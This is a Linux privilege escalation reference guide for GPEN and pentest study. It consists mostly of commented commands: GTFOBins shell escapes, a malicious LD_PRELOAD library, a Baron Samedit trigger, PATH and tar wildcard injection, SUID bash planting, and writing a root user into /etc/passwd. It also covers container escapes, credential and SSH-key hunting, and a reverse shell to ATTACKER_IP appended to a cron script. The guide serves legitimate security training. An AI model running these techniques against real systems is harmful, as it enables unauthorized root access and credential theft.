A comprehensive reference guide for Linux privilege escalation techniques. This guide is designed as a study aid for GPEN certification and practical penetration testing.
Table of Contents
Open Table of Contents
1. Enumeration
System Information
uname -a
# Prints ALL system information: kernel name, hostname, kernel version,
# kernel release date, machine hardware, processor, OS, platform.
# CRITICAL: Kernel version tells you which kernel exploits might work.
# Example: "Linux ubuntu 5.4.0-42-generic" - look up CVEs for 5.4.0!
cat /etc/os-release
# Shows Linux distribution information: name, version, ID.
# Useful for finding distro-specific vulnerabilities.
# Example output: Ubuntu 20.04, Debian 11, CentOS 7
cat /etc/issue
# Simple banner file showing OS version.
# Quick way to identify the distribution.
hostnamectl
# Systemd command showing hostname, OS, kernel, architecture.
# More formatted output than uname -a.
lscpu
# Detailed CPU information: architecture, cores, threads.
# Important for selecting correct exploit architecture (x86/x64).
cat /proc/version
# Kernel version with compiler information.
# Sometimes includes build date and compiler version.
EXAM TIP: Kernel version is critical - older kernels have many public exploits.
MITRE ATT&CK: T1082
User & Group Enumeration
id
# Shows current user's UID (User ID), GID (Group ID), and all groups.
# Most important enumeration command after getting a shell!
# Look for interesting groups: docker, lxd, disk, sudo, wheel, adm
whoami
# Simply prints current username.
# Use 'id' instead for more information.
groups
# Lists all groups the current user belongs to.
# Same info as 'id' but just group names.
cat /etc/passwd
# Lists all user accounts on the system.
# Format: username:x:UID:GID:comment:home:shell
# UID 0 = root, UIDs 1-999 typically system accounts
# Look for: users with /bin/bash shell, unusual accounts
cat /etc/group
# Lists all groups and their members.
# Shows who belongs to privileged groups like sudo, docker, lxd.
cat /etc/shadow # if readable
# Contains password hashes! Normally only readable by root.
# If readable = grab hashes and crack offline!
# Format: username:hash:lastchange:min:max:warn:inactive:expire
lastlog
# Shows last login time for all users.
# Helps identify active accounts and recently used credentials.
w
# Shows who is currently logged in and what they're doing.
# Useful for understanding active sessions.
who
# Shows who is logged in (simpler output than 'w').
EXAM TIP: Check for interesting groups: docker, lxd, disk, adm, sudo, wheel.
Network Information
ip a
# Shows all network interfaces with IP addresses.
# Modern replacement for ifconfig.
# Look for: multiple interfaces, internal networks, VPNs
ifconfig
# Legacy command for network interface info.
# Same info as 'ip a' but older format.
# May not be installed on minimal systems.
netstat -tulpn
# Lists all listening ports and connections.
# -t: TCP, -u: UDP, -l: listening, -p: show process, -n: numeric
# Shows what services are running and their ports.
# Look for: internal services, databases, admin panels
ss -tulpn
# Modern replacement for netstat.
# Same options, faster execution.
# Preferred on newer systems.
cat /etc/hosts
# Static hostname to IP mappings.
# May reveal internal hostnames and IP addresses.
# Look for: other servers, databases, development systems
cat /etc/resolv.conf
# DNS server configuration.
# Shows what DNS servers the system uses.
# May reveal internal DNS or AD information.
arp -a
# Shows ARP cache - IP to MAC mappings.
# Reveals other hosts on the local network.
route -n
# Displays routing table.
# Shows network segments and gateways.
# May reveal other accessible networks.
Automated Enumeration Tools
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Downloads and runs LinPEAS (Linux Privilege Escalation Awesome Scripts).
# THE most comprehensive enumeration script!
# Color-coded: RED/YELLOW = important findings
# Checks: SUID, sudo, cron, credentials, kernel, capabilities, etc.
# Learn to read its output - it finds things you'll miss manually.
# LinEnum
./LinEnum.sh -t
# Older but still useful enumeration script.
# -t: thorough tests (more checks, takes longer)
# Good alternative if LinPEAS is blocked.
# linux-exploit-suggester
./linux-exploit-suggester.sh
# Checks kernel version against known exploits.
# Suggests applicable kernel exploits with links.
# Run this after getting kernel version with uname -a.
# LSE (Linux Smart Enumeration)
./lse.sh -l 1
# Another comprehensive enumeration script.
# -l 1: level 1 verbosity (more detail)
# Good for targeted checks.
# pspy (process snooping)
./pspy64
# Monitors running processes without root!
# Catches cron jobs and scheduled tasks.
# ESSENTIAL for finding cron-based privesc.
# Let it run for a few minutes to catch scheduled jobs.
EXAM TIP: LinPEAS is the go-to tool - understand its output sections.
2. Sudo Abuse
Sudo Enumeration
sudo -l
# THE MOST IMPORTANT COMMAND after getting a shell!
# Shows what commands you can run as other users via sudo.
# Output shows: user, host, commands allowed
# ANY entry here is a potential privesc vector.
# Check GTFOBins for EVERY command listed!
cat /etc/sudoers # if readable
# Main sudo configuration file.
# Shows all sudo rules for all users.
# Normally only readable by root.
cat /etc/sudoers.d/*
# Additional sudo configuration files.
# Often overlooked - check for custom rules here!
EXAM TIP: sudo -l is your FIRST command after getting a shell.
MITRE ATT&CK: T1548.003
GTFOBins Exploitation
What is GTFOBins? A curated list of Unix binaries that can be exploited to bypass security restrictions. If you can run ANY binary via sudo, check GTFOBins first!
# Common GTFOBins sudo escalations:
# vim - Text editor with shell escape
sudo vim -c ':!/bin/bash'
# vim allows running shell commands with :!
# -c executes command on startup
# :!/bin/bash spawns a root shell immediately
# find - File search utility
sudo find /etc -exec /bin/bash \;
# find can execute commands on found files
# -exec runs command for each match
# \; terminates the exec command
# Runs bash as root!
# awk - Text processing tool
sudo awk 'BEGIN {system("/bin/bash")}'
# awk can execute system commands
# BEGIN runs before processing any input
# system() executes shell commands
# Instant root shell!
# less/more - File pagers
sudo less /etc/passwd
!/bin/bash
# less allows shell escape with !
# Open any readable file, then type !/bin/bash
# Spawns shell with sudo privileges
# python - Programming language
sudo python -c 'import os; os.system("/bin/bash")'
# python can execute system commands
# -c runs code from command line
# os.system() runs shell commands
# Also works with python3
# env - Run command in modified environment
sudo env /bin/bash
# env can run any command
# Simply spawns bash as root
# One of the simplest GTFOBins
# Reference: https://gtfobins.github.io/
# ALWAYS check this site for ANY binary you can run with sudo!
EXAM TIP: MEMORIZE the GTFOBins entries for: vim, find, awk, python, perl, less, nmap.
MITRE ATT&CK: T1548.003
Sudo Environment Exploits
How it works: If sudo is configured to preserve certain environment variables (env_keep), we can inject malicious shared libraries that execute when the allowed command runs.
# LD_PRELOAD (if env_keep+=LD_PRELOAD)
# Check sudo -l output for: env_keep+=LD_PRELOAD
# Compile malicious shared library:
# --- preload.c ---
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD"); // Clean up to avoid loops
setgid(0); setuid(0); // Set root privileges
system("/bin/bash"); // Spawn root shell
}
# ---
# This code runs when the library loads (before main program)
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
# Compile as shared library:
# -fPIC: Position Independent Code (required for shared libs)
# -shared: Create shared library, not executable
# -nostartfiles: Don't include standard startup code
sudo LD_PRELOAD=/tmp/preload.so <allowed_command>
# Run any allowed sudo command with our malicious library
# LD_PRELOAD forces our library to load first
# Our _init() function runs BEFORE the actual command
# Result: root shell!
MITRE ATT&CK: T1574.006
Sudo Version Exploits
sudo --version
# Check installed sudo version.
# Older versions have critical vulnerabilities!
# Note the version number and compare against known CVEs.
# CVE-2021-3156 (Baron Samedit) - sudo < 1.9.5p2
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# Heap-based buffer overflow in sudo.
# Affects most Linux distributions!
# Exploits are widely available - just run them.
# One of the most impactful sudo vulnerabilities ever.
# CVE-2019-14287 - sudo < 1.8.28
# If sudoers has: user ALL=(ALL, !root) /bin/bash
# (Meaning: can run as anyone EXCEPT root)
sudo -u#-1 /bin/bash
# The -1 user ID wraps around to 0 (root)!
# Bypasses the !root restriction completely.
# Only works with specific sudoers configuration.
# CVE-2019-18634 - sudo < 1.8.26 (pwfeedback enabled)
# If pwfeedback is enabled (asterisks shown when typing password)
# Buffer overflow can be triggered
# Less common but worth checking.
EXAM TIP: Baron Samedit (CVE-2021-3156) affects many systems - check sudo version.
3. SUID/SGID Binaries
Finding SUID/SGID
What is SUID? When the SUID (Set User ID) bit is set on an executable, it runs with the owner’s privileges regardless of who executes it. If owned by root and you can exploit it = root shell!
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Searches entire filesystem for SUID files.
# -perm -4000: files with SUID bit set
# -type f: regular files only
# 2>/dev/null: hide permission denied errors
# Review every binary found against GTFOBins!
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# SGID (Set Group ID) runs with group owner's privileges.
# -perm -2000: files with SGID bit set
# Less common for privesc but still worth checking.
# Find both
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
# -u=s: SUID, -g=s: SGID
# -o: OR operator
# Comprehensive search for both types.
# Compare against known good
# https://gtfobins.github.io/#+suid
# GTFOBins has a SUID-specific section.
# Check EVERY unusual SUID binary you find.
EXAM TIP: Always run this - custom SUID binaries are common CTF/exam targets.
MITRE ATT&CK: T1548.001
Exploiting SUID
# GTFOBins SUID examples:
# bash (if SUID)
./bash -p
# -p: preserve privileges (don't drop SUID)
# Without -p, bash drops privileges for safety.
# With -p, you get root shell if bash is SUID.
# find
./find . -exec /bin/sh -p \; -quit
# find can execute commands with -exec
# \; ends the command, -quit exits after first match
# -p preserves SUID privileges in the shell
# Works even on modern systems!
# vim
./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
# vim can run Python commands
# -c executes command on startup
# os.execl replaces vim with a shell
# Shell inherits SUID privileges
# python
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Direct Python shell spawn
# os.execl preserves SUID privileges
# Works with python2 and python3
# nmap (old versions < 5.0)
./nmap --interactive
!sh
# Old nmap had interactive mode
# ! escapes to shell with SUID privileges
# Rare now but might appear in CTFs
# Custom binary - check for:
# - Relative path calls (PATH injection)
# - Unsafe library loading (LD_PRELOAD)
# - Command injection (user input in system calls)
EXAM TIP: For unknown SUID binaries, use strings and ltrace to find exploitable behavior.
SUID PATH Injection
How it works: If an SUID binary calls another program using a relative path (like “service” instead of “/usr/sbin/service”), we can hijack it by placing a malicious binary earlier in the PATH.
# If SUID binary calls "service" instead of "/usr/sbin/service":
# Check with: strings /path/to/suid_binary | grep -i service
# Or: ltrace ./suid_binary 2>&1 | grep -i exec
# Create malicious binary
echo '/bin/bash -p' > /tmp/service
# Creates a script that spawns a privileged shell.
# Name it exactly what the SUID binary is looking for.
chmod +x /tmp/service
# Make it executable.
# Prepend to PATH
export PATH=/tmp:$PATH
# Puts /tmp at the START of PATH.
# Now /tmp/service is found before /usr/sbin/service.
# Run the vulnerable SUID binary
./vulnerable_suid
# Binary tries to run "service"
# Finds our malicious /tmp/service first
# Our script runs with SUID privileges = root shell!
MITRE ATT&CK: T1574.007
Shared Library Injection
# Find library dependencies
ldd /path/to/suid_binary
# Shows all shared libraries the binary needs.
# Look for: missing libraries, writable library paths.
# Check for missing libraries or writable paths
# If a library is missing (not found), you might be able to create it.
# If library path is writable, you can replace the library.
# Compile malicious library with same name
# Similar to LD_PRELOAD technique but exploiting
# the binary's specific library requirements.
# strace to find loaded libraries
strace /path/to/suid_binary 2>&1 | grep -i "open.*\.so"
# strace shows all system calls including file opens.
# Filter for .so files to see library loading.
# Look for failed opens in writable directories.
MITRE ATT&CK: T1574.006
4. Capabilities
Enumerate Capabilities
What are capabilities? Linux capabilities split root’s power into distinct units. A binary can have specific capabilities (like “set user ID”) without being fully SUID. This is intended to be more secure, but misconfigured capabilities = easy privesc!
# Find all capabilities
getcap -r / 2>/dev/null
# Recursively searches for files with capabilities.
# -r: recursive search from /
# Output shows file path and capabilities granted.
# Dangerous capabilities:
# cap_setuid - can change UID (set to 0 = root!)
# cap_setgid - can change GID
# cap_dac_override - bypass ALL file permission checks
# cap_dac_read_search - can read ANY file
# cap_net_raw - raw packet access (sniffing)
# cap_sys_admin - mount filesystems, many admin functions
# cap_sys_ptrace - can attach to and inject into processes
EXAM TIP: cap_setuid on python/perl/ruby = instant root.
MITRE ATT&CK: T1548.001
Exploiting Capabilities
# Python with cap_setuid
./python -c 'import os; os.setuid(0); os.system("/bin/bash")'
# os.setuid(0) changes our UID to 0 (root)
# Capability allows this even though we're not root
# Then spawn a shell with our new UID
# Instant root!
# Perl with cap_setuid
./perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# POSIX module provides setuid function
# setuid(0) changes to root
# exec replaces perl with bash
# Same result as Python method
# tar with cap_dac_read_search (read /etc/shadow)
./tar -cvf shadow.tar /etc/shadow
./tar -xvf shadow.tar
# cap_dac_read_search bypasses read permissions
# Can read ANY file including /etc/shadow
# Create archive, extract it, read the hashes!
# vim with cap_dac_override
./vim /etc/shadow
# cap_dac_override bypasses permission checks
# Can edit ANY file including /etc/shadow
# Add a new root user or change root's password hash
5. Cron Jobs
Enumerate Cron
What is cron? Cron is the Linux task scheduler. Jobs run automatically at specified times. If a cron job runs as root with a writable script, we can inject our code!
# System crontabs
cat /etc/crontab
# Main system crontab file.
# Format: minute hour day month weekday user command
# Shows scheduled jobs and WHO they run as.
# Look for root jobs running scripts you can modify.
ls -la /etc/cron.*
# Lists all cron directories:
# cron.hourly, cron.daily, cron.weekly, cron.monthly
# Scripts in these folders run automatically.
# Check permissions on scripts inside!
cat /etc/cron.d/*
# Additional cron job definitions.
# Often used by installed packages.
# Same format as /etc/crontab.
# User crontabs
crontab -l
# Lists YOUR cron jobs.
# Each user can have personal cron jobs.
ls -la /var/spool/cron/crontabs/
# Location of user crontab files.
# May be readable even if crontab -l doesn't work.
# Systemd timers
systemctl list-timers --all
# Modern alternative to cron.
# Shows all scheduled systemd jobs.
# Check associated service files for what they run.
# Watch for running processes
# Use pspy to catch cron execution
./pspy64
# ESSENTIAL: catches cron jobs as they run.
# Some jobs aren't visible in crontab files.
# Run pspy and wait for jobs to execute.
# Shows command, user, and timing.
EXAM TIP: Cron often runs as root - check file permissions on cron scripts.
MITRE ATT&CK: T1053.003
Writable Cron Scripts
# Check permissions on scripts run by cron
ls -la /path/to/cron/script.sh
# If you have write permission, you can modify it!
# Check with ls -la: look for 'w' in your user/group permissions.
# If writable, add reverse shell:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' >> /path/to/script.sh
# Appends (>>) reverse shell to existing script.
# bash -i: interactive shell
# >& /dev/tcp/...: redirect to TCP connection
# 0>&1: redirect stdin to same connection
# Next time cron runs, you get a root shell callback!
# Or copy bash as SUID:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /path/to/script.sh
# More reliable than reverse shell (doesn't need network).
# Copies bash to /tmp with SUID bit set.
# After cron runs: /tmp/bash -p gives root shell.
# Then: /tmp/bash -p
# -p preserves SUID privileges.
# Instant root access anytime!
EXAM TIP: World-writable cron scripts are a classic exam scenario.
Cron PATH Abuse
How it works: Crontab files define their own PATH. If a job runs a script without full path, and you can write to a PATH directory, you can hijack it.
# If cron runs: backup.sh
# And PATH in crontab is: PATH=/home/user:/usr/local/bin:/usr/bin
# The first PATH directory is checked first!
# Check /etc/crontab for PATH definition
cat /etc/crontab | grep PATH
# Create malicious script in first PATH directory
echo '#!/bin/bash
cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/backup.sh
# Creates script with same name in first PATH directory.
# When cron runs "backup.sh", it finds ours first!
chmod +x /home/user/backup.sh
# Make it executable (required!).
# Wait for cron, then:
/tmp/bash -p
# After cron runs our script, SUID bash is ready.
# -p for privileged root shell.
Wildcard Injection
How it works: When cron jobs use wildcards (*) in commands like tar, filenames can be crafted to be interpreted as command-line options. This is a classic privilege escalation technique!
# If cron runs: tar cf /backup/backup.tar *
# The * expands to all files in the directory.
# We can create files that look like tar options!
# In the directory where tar runs:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
# Create our payload script.
chmod +x shell.sh
# Make it executable.
touch "./--checkpoint=1"
# Creates a file named "--checkpoint=1"
# tar interprets this as an option, not a filename!
# checkpoint displays progress every N records.
touch "./--checkpoint-action=exec=sh shell.sh"
# Creates file that tar reads as another option.
# checkpoint-action=exec runs a command at each checkpoint.
# tar will execute our shell.sh!
# tar command becomes:
# tar cf /backup/backup.tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh ...
# tar will interpret filenames as arguments
# Wait for cron, then: /tmp/bash -p
EXAM TIP: Wildcard injection with tar is frequently tested - know the checkpoint trick.
6. Credential Hunting
History Files
cat ~/.bash_history
# Bash command history for current user.
# Users often type passwords in commands!
# Look for: mysql -p, ssh, su, sudo commands.
cat ~/.zsh_history
# Zsh shell history (if zsh is used).
cat ~/.sh_history
# Generic shell history.
cat ~/.mysql_history
# MySQL command history.
# May contain database passwords or SQL queries.
cat ~/.nano_history
# Nano editor search/replace history.
# Sometimes contains sensitive strings.
cat ~/.php_history
# PHP interactive shell history.
# History with passwords
history | grep -i passw
# Search current session history for "passw".
# May catch password-related commands.
history | grep -i mysql
# MySQL commands often include passwords.
# mysql -u user -pPassword (no space after -p).
history | grep -i ssh
# SSH commands may reveal hostnames/users.
# May show SSH key usage patterns.
EXAM TIP: Check all user history files - often contain plaintext credentials.
MITRE ATT&CK: T1552.003
Configuration Files
# Common locations
cat /etc/passwd
# All user accounts (always readable).
# Look for service accounts and unusual users.
# Hash in field 2 means OLD system (crack it!).
cat /etc/shadow # if readable
# Password hashes! Normally root-only.
# If readable = jackpot! Extract and crack offline.
# Format: user:hash:lastchange:min:max:warn:inactive:expire
cat ~/.ssh/id_rsa
# SSH private keys! Check all users' home directories.
# If readable, can SSH as that user to other systems.
# May work for local SSH too.
cat /etc/ssh/sshd_config
# SSH server configuration.
# Shows authentication methods allowed.
# May have PermitRootLogin yes!
# Web configs
cat /var/www/html/wp-config.php
# WordPress configuration - ALWAYS has database creds!
# Look for: DB_NAME, DB_USER, DB_PASSWORD, DB_HOST
# These creds often reused for system accounts.
cat /var/www/html/config.php
# Generic PHP config file.
# Web apps store database credentials here.
cat /etc/apache2/sites-enabled/*
# Apache virtual host configs.
# May contain paths, credentials, or API keys.
# Database configs
cat /etc/mysql/my.cnf
# MySQL server configuration.
# May contain default credentials.
cat ~/.my.cnf
# MySQL client config with saved credentials!
# Format: [client] user= password=
# Search for passwords
grep -r "password" /etc/ 2>/dev/null
# Recursive search through /etc for "password".
# Finds config files with credentials.
grep -r "pass" /var/www/ 2>/dev/null
# Search web directories for credentials.
# Web apps often have plaintext passwords.
EXAM TIP: wp-config.php and database configs often have plaintext creds.
MITRE ATT&CK: T1552.001
SSH Keys
# Find private keys
find / -name "id_rsa" 2>/dev/null
# Default RSA private key name.
# Check permissions - if readable, copy and use!
find / -name "id_dsa" 2>/dev/null
# Older DSA keys.
find / -name "id_ecdsa" 2>/dev/null
# ECDSA keys.
find / -name "*.pem" 2>/dev/null
# PEM format keys (often from AWS, cloud services).
# May include both private keys and certificates.
# Check authorized_keys for persistence
cat ~/.ssh/authorized_keys
# Shows which keys can SSH into this account.
# If writable, add your key for persistent access!
cat /root/.ssh/authorized_keys
# Root's authorized keys.
# If readable, may reveal other systems/users.
# Use found key
chmod 600 id_rsa
# SSH requires strict permissions on private keys.
# 600 = owner read/write only.
ssh -i id_rsa root@localhost
# Test if key works for local SSH.
# May also work for other hosts in network.
MITRE ATT&CK: T1552.004
Environment Variables
env
# Shows all environment variables.
# May contain credentials, API keys, tokens.
printenv
# Same as env.
# Sometimes env isn't available.
cat /proc/*/environ 2>/dev/null
# Environment variables of ALL running processes!
# Processes may have secrets in environment.
# May be readable even for other users' processes.
# Look for:
# DB_PASSWORD, MYSQL_PWD, AWS_ACCESS_KEY
# API keys, tokens, connection strings
# Credentials passed to processes via environment.
MITRE ATT&CK: T1552.007
7. Kernel Exploits
Kernel Enumeration
uname -a
# Full kernel information.
# Note the version number (e.g., 4.15.0-142-generic).
# Search for "linux kernel 4.15 privilege escalation".
uname -r
# Just the kernel release version.
# Cleaner for searching exploit databases.
cat /proc/version
# More detailed version info.
# May include distribution-specific information.
# Automated suggester
./linux-exploit-suggester.sh
# Script that checks kernel version against CVE database.
# Suggests applicable exploits with links.
# Download: github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester-2.pl
# Perl version with similar functionality.
# Try both for comprehensive coverage.
# searchsploit
searchsploit linux kernel <version> priv esc
# Searches local Exploit-DB copy.
# Part of Kali Linux.
# Shows exploits with descriptions and paths.
EXAM TIP: Know major kernel exploits by version - DirtyCow, DirtyPipe, etc.
MITRE ATT&CK: T1068
Common Kernel CVEs
-
DirtyCow (CVE-2016-5195) - Kernel 2.6.22 < 4.8.3
- Race condition in copy-on-write memory handling
- Very reliable, affects many systems
- Multiple exploit variants available
- Can overwrite read-only files including /etc/passwd
-
DirtyPipe (CVE-2022-0847) - Kernel 5.8+
- Pipe buffer vulnerability
- Can overwrite read-only files
- Newer systems, simpler exploit
-
Dirty Cred (CVE-2022-2588) - Kernel < 5.19
- Use-after-free in route4 classifier
- Can swap credentials
-
PwnKit (CVE-2021-4034) - Polkit (pkexec)
- NOT a kernel exploit but equally impactful
- Affects most Linux distributions
- Very reliable, widely available exploits
-
GameOver(lay) (CVE-2023-2640, CVE-2023-32629) - Ubuntu OverlayFS
- Ubuntu-specific vulnerability
- Affects Ubuntu kernels with OverlayFS
EXAM TIP: DirtyCow works on many older systems. DirtyPipe for newer kernels.
8. NFS & Mounts
NFS Enumeration
What is NFS? Network File System allows remote file sharing. If configured with “no_root_squash”, root on the client machine = root on the server! This is a common misconfiguration.
# Check exports
cat /etc/exports
# Shows what directories are shared via NFS.
# Look for: no_root_squash option!
# Example: /share *(rw,no_root_squash)
showmount -e <target>
# Shows NFS exports on remote server.
# -e: show exports
# Run from your attack machine.
# Look for no_root_squash
# This setting means root on client = root on server.
# Default is root_squash which maps root to nobody.
# no_root_squash is a massive security hole!
# Mount the share
mount -t nfs <target>:/share /mnt/nfs
# Mounts remote NFS share locally.
# -t nfs: filesystem type
# Now you can access remote files.
EXAM TIP: no_root_squash is the key - allows creating SUID binaries.
MITRE ATT&CK: T1078
NFS Root Squash Exploit
# On attacker machine (as root):
mount -t nfs <target>:/share /mnt/nfs
# Mount the vulnerable NFS share.
# You need root on YOUR machine for this attack.
# Create SUID binary
cp /bin/bash /mnt/nfs/bash
# Copy bash to the NFS share.
# Because no_root_squash, files keep root ownership!
chmod +s /mnt/nfs/bash
# Set SUID bit on bash.
# Now it's a root-owned SUID binary.
# On target:
/share/bash -p
# Execute our SUID bash on the target.
# -p preserves privileges.
# Instant root shell!
9. Container Escapes
Docker Group
How it works: The docker group has full access to the Docker daemon. Since Docker can mount host filesystems and run privileged containers, docker group membership = root equivalent!
# Check if in docker group
id
# Look for "docker" in groups list.
groups
# Same check, different format.
# If you're in docker group, you're effectively root!
# Mount host filesystem
docker run -v /:/hostfs -it alpine chroot /hostfs
# -v /:/hostfs mounts entire host root into container
# -it: interactive terminal
# alpine: small Linux image
# chroot /hostfs: change root to host filesystem
# You now have root access to the host!
# Or get root shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Same technique with cleaner syntax.
# --rm: remove container when done
# chroot /mnt sh: direct shell access
# Copy /etc/passwd and add user
docker run -v /etc:/hostfs/etc -it alpine sh
# Mount just /etc for targeted modifications.
# Edit /hostfs/etc/passwd to add root user.
# Or edit /hostfs/etc/shadow to change root password.
EXAM TIP: Docker group = root equivalent. Instant privesc.
MITRE ATT&CK: T1611
LXD/LXC Group
How it works: Similar to Docker - LXD container management allows mounting host filesystems. LXD group members can escalate to root.
# Check group membership
id
# Look for "lxd" or "lxc" in groups.
# Import alpine image
lxc image import ./alpine.tar.gz --alias myimage
# Import a minimal Linux image.
# Download alpine from: https://alpinelinux.org/downloads/
# Init privileged container
lxc init myimage privesc -c security.privileged=true
# Create container named "privesc"
# security.privileged=true is the key setting!
# Privileged containers run with full root capabilities.
# Mount host
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
# Adds the entire host filesystem as a device.
# source=/ is the host root
# path=/mnt/root is where it appears in container
# recursive=true includes all subdirectories
# Start and enter
lxc start privesc
# Start the container.
lxc exec privesc /bin/sh
# Execute shell inside container.
# Access host at /mnt/root
# Full host filesystem available at /mnt/root!
# You're root inside container, root on host files!
MITRE ATT&CK: T1611
Container Detection
# Check for docker
cat /proc/1/cgroup | grep docker
# Process 1's cgroup shows container info.
# "docker" in output = running inside Docker.
ls -la /.dockerenv
# Docker creates this file in containers.
# If exists = you're in a container.
# Check for container indicators
cat /proc/1/cgroup
# Shows full cgroup hierarchy.
# Look for: docker, lxc, containerd
hostname # Usually random string
# Containers often have random hostnames.
# Not definitive but a hint.
# Capabilities check
capsh --print
# Shows current capabilities.
# Containers often have limited capabilities.
# Compare to normal system capabilities.
10. File Permissions
World-Writable Files
# World-writable files
find / -perm -2 -type f 2>/dev/null
# -perm -2: files writable by "other" (everyone)
# Dangerous if these are config files or scripts!
# Look for: system configs, cron scripts, web files
# World-writable directories
find / -perm -2 -type d 2>/dev/null
# Writable directories can be used for file placement.
# Look for directories in PATH or library paths.
# Files owned by current user
find / -user $(whoami) 2>/dev/null
# Files YOU own.
# You can definitely modify these.
# Check if any are in sensitive locations.
# Interesting writable configs
ls -la /etc/passwd
# If writable = add your own root user!
ls -la /etc/shadow
# If writable = change root's password hash!
ls -la /etc/sudoers
# If writable = give yourself sudo privileges!
EXAM TIP: Writable /etc/passwd = add root user. Writable /etc/shadow = change root password.
MITRE ATT&CK: T1222.002
Writable /etc/passwd
How it works: On older systems, password hashes were in /etc/passwd (readable by all). On modern systems, hashes are in /etc/shadow, but /etc/passwd format still supports password hashes. If /etc/passwd is writable, we can add a root user!
# Generate password hash
openssl passwd -1 -salt xyz password123
# openssl can generate Unix password hashes.
# -1: MD5 hash (works everywhere)
# -salt xyz: salt value (any string)
# password123: the password you want
# Output: $1$xyz$... (the hash)
# Add root user to passwd
echo 'newroot:$1$xyz$C1bK/3dG9VqJ9Xk5VhD0x.:0:0:root:/root:/bin/bash' >> /etc/passwd
# Appends new user entry.
# Format: user:hash:UID:GID:comment:home:shell
# UID 0 and GID 0 = root privileges!
# The hash is for "password123"
# Switch to new user
su newroot
# Password: password123
# You are now root!
EXAM TIP: Writable /etc/passwd is a guaranteed root shell.
MITRE ATT&CK: T1136.001
11. Essential Tools
Enumeration Tools
- LinPEAS - THE comprehensive enumeration script
- LinEnum - Classic enumeration script
- linux-exploit-suggester - Kernel exploit finder
- pspy (process monitoring) - Catch cron jobs and processes
- LSE - Smart enumeration script
Exploitation Resources
- GTFOBins - Unix binary exploitation bible
- Compiled Kernel Exploits - Pre-compiled exploits
- PayloadsAllTheThings - Comprehensive payload list
- HackTricks - Detailed techniques
High-Priority Topics for Exams
- sudo -l (first command!)
- GTFOBins Exploitation
- SUID/SGID Binaries
- Cron Wildcard Injection
- Writable /etc/passwd
- Docker/LXD Group
- Kernel Exploits (DirtyCow/Pipe)
- LinPEAS Enumeration
Related: Windows Privilege Escalation Guide